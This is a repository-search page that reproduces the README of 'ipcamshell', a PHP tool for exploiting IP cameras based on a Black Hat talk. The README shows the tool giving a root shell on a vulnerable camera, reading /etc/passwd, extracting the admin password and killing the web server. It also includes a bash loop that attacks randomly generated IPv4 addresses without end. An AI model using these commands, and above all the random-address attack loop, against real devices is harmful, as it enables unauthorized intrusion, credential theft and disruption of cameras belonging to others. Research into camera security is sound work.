KO | EN

GitLite

Minimalist Open Source Repository Search Engine

gitlite — search

#dsh #dsh-plugin #ai-agent #developer-tools #codex #typescript #cli #deepseek-harness #claude-code #ai-agents #mcp #rust

ipcamshell

★ 151 Open GitHub ↗

IP Cam Shell is a command line script for testing and exploiting a wide range of IP cameras as demonstrated by Craig Heffner in "Exploiting Surveillance Cameras Like a Hollywood Hacker". See the slides here: https://media.blackhat.com/us-13/US-13-Heffner-Exploiting-Network-Surveillance-Cameras-Like-A-Hollywood-Hacker-WP.pdf

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

IP Cam Shell
=======

IPCS is a command line script for testing and exploiting a wide range of IP cameras as demonstrated by Craig Heffner in "Exploiting Surveillance Cameras Like a Hollywood Hacker". See the slides here: https://media.blackhat.com/us-13/US-13-Heffner-Exploiting-Network-Surveillance-Cameras-Like-A-Hollywood-Hacker-WP.pdf

A copy of the slides is included in the repository.

Requirements
=======

* PHP 5
 * A distribution of Linux. I haven't and won't test this on Windows.

Usage
=======

Basic Usage
-------

Using IPCS is pretty straight forward. You pass the URL to ipcs.php via the -u option.

```
$ php ipcs.php -u http://192.168.0.3:8080
```

If the camera is vulnerable you'll be dropped in to a "shell" as root and be able to exploit the camera further.

```
$ php ipcs.php -u http://192.168.0.3:8080
Those who do not understand UNIX are condemned to reinvent it, poorly. — Henry Spencer
ipcamshell>
```

It's very much like being logged in to a stripped down Unix server as root.

```
ipcamshell> whoami
root
ipcamshell> id
uid=0(root) gid=0(root)
ipcamshell> ls /
bin
dev
etc
lib
linuxrc
mnt
opt
proc
sbin
scripts
tmp
usr
var
ipcamshell> cat /etc/passwd
root:x:0:0:Linux User,,,:/:/bin/sh
```

Use `quit`, `exit`, or `^C` to exit.

Further Attacks
-------
Of course it wouldn't be very fun without the ability to login and view the camera...

```
ipcamshell> getadminpass
Username: admin
Password: hunter2
```

If you wish to kill the web server (to prevent someone from accessing the web interface temporarily), run the `killswitch` command. Note that the camera will continue to record regardless of this.

If the camera isn't vulnerable, the server isn't up, or the internet hates you, you'll recieve the following message:

```
Sorry, the server specified isn't vulnerable.
```

Automation
-------

IPCS has the potential to be automated in different ways. This, I'm going to leave to you. The `-c` option won't drop you in to a shell after successfully exploiting a server, and the `-g` option surpresses the "Sorry, the server specified isn't vulnerable." messages for failed attempts.

As an example, the following bash script will forever try to attack randomly generated IPv4 addresses.

```
#!/bin/bash
while true; do export ip=$((RANDOM%256)).$((RANDOM%256)).$((RANDOM%256)).$((RANDOM%256)) && echo "Trying $ip..." && php ipcs.php -c 1 -g 1 -u http://$ip; done;
```

This is slow, and will likely yield nothing without *extremely* good luck. Use your imagination. :)

Note
=======
I do not claim the description or purpose of this tool to be 100% accurate. If you see anything which is incorrect in this document, please submit a pull request or open a new issue.

ipcamshell

Explore Similar Repositories

Was this content helpful?

Recent Feedback

Download README